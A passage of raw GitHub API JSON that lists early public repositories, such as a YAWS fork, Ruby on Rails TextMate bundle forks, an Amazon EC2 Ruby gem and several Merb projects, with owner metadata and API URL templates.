://api.github.com/users/KirinDave/orgs","repos_url":"https://api.github.com/users/KirinDave/repos","events_url":"https://api.github.com/users/KirinDave/events{/privacy}","received_events_url":"https://api.github.com/users/KirinDave/received_events","type":"User"},"private":false,"html_url":"https://github.com/KirinDave/yaws","description":"YAWS is an erlang web server","fork":true,"url":"https://api.github.com/repos/KirinDave/yaws","forks_url":"https://api.github.com/repos/KirinDave/yaws/forks","keys_url":"https://api.github.com/repos/KirinDave/yaws/keys{/key_id}","collaborators_url":"https://api.github.com/repos/KirinDave/yaws/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/KirinDave/yaws/teams","hooks_url":"https://api.github.com/repos/KirinDave/yaws/hooks","issue_events_url":"https://api.github.com/repos/KirinDave/yaws/issues/events{/number}","events_url":"https://api.github.com/repos/KirinDave/yaws/events","assignees_url":"https://api.github.com/repos/KirinDave/yaws/assignees{/user}","branches_url":"https://api.github.com/repos/KirinDave/yaws/branches{/branch}","tags_url":"https://api.github.com/repos/KirinDave/yaws/tags","blobs_url":"https://api.github.com/repos/KirinDave/yaws/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/KirinDave/yaws/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/KirinDave/yaws/git/refs{/sha}","trees_url":"https://api.github.com/repos/KirinDave/yaws/git/trees{/sha}","statuses_url":"https://api.github.com/repos/KirinDave/yaws/statuses/{sha}","languages_url":"https://api.github.com/repos/KirinDave/yaws/languages","stargazers_url":"https://api.github.com/repos/KirinDave/yaws/stargazers","contributors_url":"https://api.github.com/repos/KirinDave/yaws/contributors","subscribers_url":"https://api.github.com/repos/KirinDave/yaws/subscribers","subscription_url":"https://api.github.com/repos/KirinDave/yaws/subscription","commits_url":"https://api.github.com/repos/KirinDave/yaws/commits{/sha}","git_commits_url":"https://api.github.com/repos/KirinDave/yaws/git/commits{/sha}","comments_url":"https://api.github.com/repos/KirinDave/yaws/comments{/number}","issue_comment_url":"https://api.github.com/repos/KirinDave/yaws/issues/comments/{number}","contents_url":"https://api.github.com/repos/KirinDave/yaws/contents/{+path}","compare_url":"https://api.github.com/repos/KirinDave/yaws/compare/{base}...{head}","merges_url":"https://api.github.com/repos/KirinDave/yaws/merges","archive_url":"https://api.github.com/repos/KirinDave/yaws/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/KirinDave/yaws/downloads","issues_url":"https://api.github.com/repos/KirinDave/yaws/issues{/number}","pulls_url":"https://api.github.com/repos/KirinDave/yaws/pulls{/number}","milestones_url":"https://api.github.com/repos/KirinDave/yaws/milestones{/number}","notifications_url":"https://api.github.com/repos/KirinDave/yaws/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/KirinDave/yaws/labels{/name}"},{"id":193,"name":"tasks","full_name":"sr/tasks","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/tasks","description":"Some more or less useful rake tasks. Includes tasks to work with git-cvs, convert an Atom collection to a blog, post to an AtomPub server and more.","fork":false,"url":"https://api.github.com/repos/sr/tasks","forks_url":"https://api.github.com/repos/sr/tasks/forks","keys_url":"https://api.github.com/repos/sr/tasks/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/tasks/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/tasks/teams","hooks_url":"https://api.github.com/repos/sr/tasks/hooks","issue_events_url":"https://api.github.com/repos/sr/tasks/issues/events{/number}","events_url":"https://api.github.com/repos/sr/tasks/events","assignees_url":"https://api.github.com/repos/sr/tasks/assignees{/user}","branches_url":"https://api.github.com/repos/sr/tasks/branches{/branch}","tags_url":"https://api.github.com/repos/sr/tasks/tags","blobs_url":"https://api.github.com/repos/sr/tasks/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/tasks/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/tasks/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/tasks/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/tasks/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/tasks/languages","stargazers_url":"https://api.github.com/repos/sr/tasks/stargazers","contributors_url":"https://api.github.com/repos/sr/tasks/contributors","subscribers_url":"https://api.github.com/repos/sr/tasks/subscribers","subscription_url":"https://api.github.com/repos/sr/tasks/subscription","commits_url":"https://api.github.com/repos/sr/tasks/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/tasks/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/tasks/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/tasks/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/tasks/contents/{+path}","compare_url":"https://api.github.com/repos/sr/tasks/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/tasks/merges","archive_url":"https://api.github.com/repos/sr/tasks/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/tasks/downloads","issues_url":"https://api.github.com/repos/sr/tasks/issues{/number}","pulls_url":"https://api.github.com/repos/sr/tasks/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/tasks/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/tasks/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/tasks/labels{/name}"},{"id":195,"name":"ruby-on-rails-tmbundle","full_name":"mattetti/ruby-on-rails-tmbundle","owner":{"login":"mattetti","id":113,"avatar_url":"https://1.gravatar.com/avatar/c69521d6e22fc0bbd69337ec8b1698df?d=https%3A%2F%2Fidenticons.github.com%2F73278a4a86960eeb576a8fd4c9ec6997.png","gravatar_id":"c69521d6e22fc0bbd69337ec8b1698df","url":"https://api.github.com/users/mattetti","html_url":"https://github.com/mattetti","followers_url":"https://api.github.com/users/mattetti/followers","following_url":"https://api.github.com/users/mattetti/following{/other_user}","gists_url":"https://api.github.com/users/mattetti/gists{/gist_id}","starred_url":"https://api.github.com/users/mattetti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mattetti/subscriptions","organizations_url":"https://api.github.com/users/mattetti/orgs","repos_url":"https://api.github.com/users/mattetti/repos","events_url":"https://api.github.com/users/mattetti/events{/privacy}","received_events_url":"https://api.github.com/users/mattetti/received_events","type":"User"},"private":false,"html_url":"https://github.com/mattetti/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/labels{/name}"},{"id":196,"name":"ruby-on-rails-tmbundle","full_name":"lawrencepit/ruby-on-rails-tmbundle","owner":{"login":"lawrencepit","id":115,"avatar_url":"https://1.gravatar.com/avatar/a31c2c26350e9e2b07fbd99fbd5ff520?d=https%3A%2F%2Fidenticons.github.com%2F2b44928ae11fb9384c4cf38708677c48.png","gravatar_id":"a31c2c26350e9e2b07fbd99fbd5ff520","url":"https://api.github.com/users/lawrencepit","html_url":"https://github.com/lawrencepit","followers_url":"https://api.github.com/users/lawrencepit/followers","following_url":"https://api.github.com/users/lawrencepit/following{/other_user}","gists_url":"https://api.github.com/users/lawrencepit/gists{/gist_id}","starred_url":"https://api.github.com/users/lawrencepit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lawrencepit/subscriptions","organizations_url":"https://api.github.com/users/lawrencepit/orgs","repos_url":"https://api.github.com/users/lawrencepit/repos","events_url":"https://api.github.com/users/lawrencepit/events{/privacy}","received_events_url":"https://api.github.com/users/lawrencepit/received_events","type":"User"},"private":false,"html_url":"https://github.com/lawrencepit/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/labels{/name}"},{"id":199,"name":"amazon-ec2","full_name":"grempe/amazon-ec2","owner":{"login":"grempe","id":117,"avatar_url":"https://2.gravatar.com/avatar/126e4e797131e8bf3adc528c6a4d78ec?d=https%3A%2F%2Fidenticons.github.com%2Feb160de1de89d9058fcb0b968dbbbd68.png","gravatar_id":"126e4e797131e8bf3adc528c6a4d78ec","url":"https://api.github.com/users/grempe","html_url":"https://github.com/grempe","followers_url":"https://api.github.com/users/grempe/followers","following_url":"https://api.github.com/users/grempe/following{/other_user}","gists_url":"https://api.github.com/users/grempe/gists{/gist_id}","starred_url":"https://api.github.com/users/grempe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/grempe/subscriptions","organizations_url":"https://api.github.com/users/grempe/orgs","repos_url":"https://api.github.com/users/grempe/repos","events_url":"https://api.github.com/users/grempe/events{/privacy}","received_events_url":"https://api.github.com/users/grempe/received_events","type":"User"},"private":false,"html_url":"https://github.com/grempe/amazon-ec2","description":"A Ruby Gem that gives you full access to several of the Amazon Web Services API from your Ruby/Ruby on Rails apps","fork":false,"url":"https://api.github.com/repos/grempe/amazon-ec2","forks_url":"https://api.github.com/repos/grempe/amazon-ec2/forks","keys_url":"https://api.github.com/repos/grempe/amazon-ec2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/grempe/amazon-ec2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/grempe/amazon-ec2/teams","hooks_url":"https://api.github.com/repos/grempe/amazon-ec2/hooks","issue_events_url":"https://api.github.com/repos/grempe/amazon-ec2/issues/events{/number}","events_url":"https://api.github.com/repos/grempe/amazon-ec2/events","assignees_url":"https://api.github.com/repos/grempe/amazon-ec2/assignees{/user}","branches_url":"https://api.github.com/repos/grempe/amazon-ec2/branches{/branch}","tags_url":"https://api.github.com/repos/grempe/amazon-ec2/tags","blobs_url":"https://api.github.com/repos/grempe/amazon-ec2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/grempe/amazon-ec2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/grempe/amazon-ec2/git/refs{/sha}","trees_url":"https://api.github.com/repos/grempe/amazon-ec2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/grempe/amazon-ec2/statuses/{sha}","languages_url":"https://api.github.com/repos/grempe/amazon-ec2/languages","stargazers_url":"https://api.github.com/repos/grempe/amazon-ec2/stargazers","contributors_url":"https://api.github.com/repos/grempe/amazon-ec2/contributors","subscribers_url":"https://api.github.com/repos/grempe/amazon-ec2/subscribers","subscription_url":"https://api.github.com/repos/grempe/amazon-ec2/subscription","commits_url":"https://api.github.com/repos/grempe/amazon-ec2/commits{/sha}","git_commits_url":"https://api.github.com/repos/grempe/amazon-ec2/git/commits{/sha}","comments_url":"https://api.github.com/repos/grempe/amazon-ec2/comments{/number}","issue_comment_url":"https://api.github.com/repos/grempe/amazon-ec2/issues/comments/{number}","contents_url":"https://api.github.com/repos/grempe/amazon-ec2/contents/{+path}","compare_url":"https://api.github.com/repos/grempe/amazon-ec2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/grempe/amazon-ec2/merges","archive_url":"https://api.github.com/repos/grempe/amazon-ec2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/grempe/amazon-ec2/downloads","issues_url":"https://api.github.com/repos/grempe/amazon-ec2/issues{/number}","pulls_url":"https://api.github.com/repos/grempe/amazon-ec2/pulls{/number}","milestones_url":"https://api.github.com/repos/grempe/amazon-ec2/milestones{/number}","notifications_url":"https://api.github.com/repos/grempe/amazon-ec2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/grempe/amazon-ec2/labels{/name}"},{"id":203,"name":"merblogger","full_name":"wayneeseguin/merblogger","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merblogger","description":"A Merb Blogging & Publishing Platform using Merb, DataMapper, haml and jQuery.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/merblogger","forks_url":"https://api.github.com/repos/wayneeseguin/merblogger/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merblogger/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merblogger/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merblogger/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merblogger/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merblogger/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merblogger/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merblogger/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merblogger/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merblogger/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merblogger/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merblogger/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merblogger/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merblogger/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merblogger/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merblogger/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merblogger/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merblogger/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merblogger/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merblogger/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merblogger/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merblogger/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merblogger/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merblogger/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merblogger/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merblogger/labels{/name}"},{"id":204,"name":"merbtastic","full_name":"wayneeseguin/merbtastic","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merbtastic","description":"Merb + Webgen CMS system that has dynamic routing, Nginx config and static site generation with haml/sass/erb/... support.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/merbtastic","forks_url":"https://api.github.com/repos/wayneeseguin/merbtastic/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merbtastic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merbtastic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merbtastic/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merbtastic/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merbtastic/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merbtastic/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merbtastic/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merbtastic/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merbtastic/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merbtastic/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merbtastic/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merbtastic/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merbtastic/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merbtastic/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merbtastic/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merbtastic/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merbtastic/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merbtastic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merbtastic/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merbtastic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merbtastic/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merbtastic/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merbtastic/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merbtastic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merbtastic/labels{/name}"},{"id":205,"name":"alogr","full_name":"wayneeseguin/alogr","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/alogr","description":"AlogR is a threadsafe non-blocking asynchronous configurable logger for Ruby.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/alogr","forks_url":"https://api.github.com/repos/wayneeseguin/alogr/forks","keys_url":"https://api.github.com/repos/wayneeseguin/alogr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/alogr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/alogr/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/alogr/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/alogr/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/alogr/events","assignees_url":"https://api.github.com/repos/wayneeseguin/alogr/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/alogr/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/alogr/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/alogr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/alogr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/alogr/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/alogr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/alogr/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/alogr/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/alogr/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/alogr/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/alogr/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/alogr/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/alogr/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/alogr/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/alogr/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/alogr/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/alogr/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/alogr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/alogr/merges","archive_url":"https://api.github.com/repos/wayneeseguin/alogr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/alogr/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/alogr/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/alogr/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/alogr/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/alogr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/alogr/labels{/name}"},{"id":206,"name":"autozest","full_name":"wayneeseguin/autozest","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1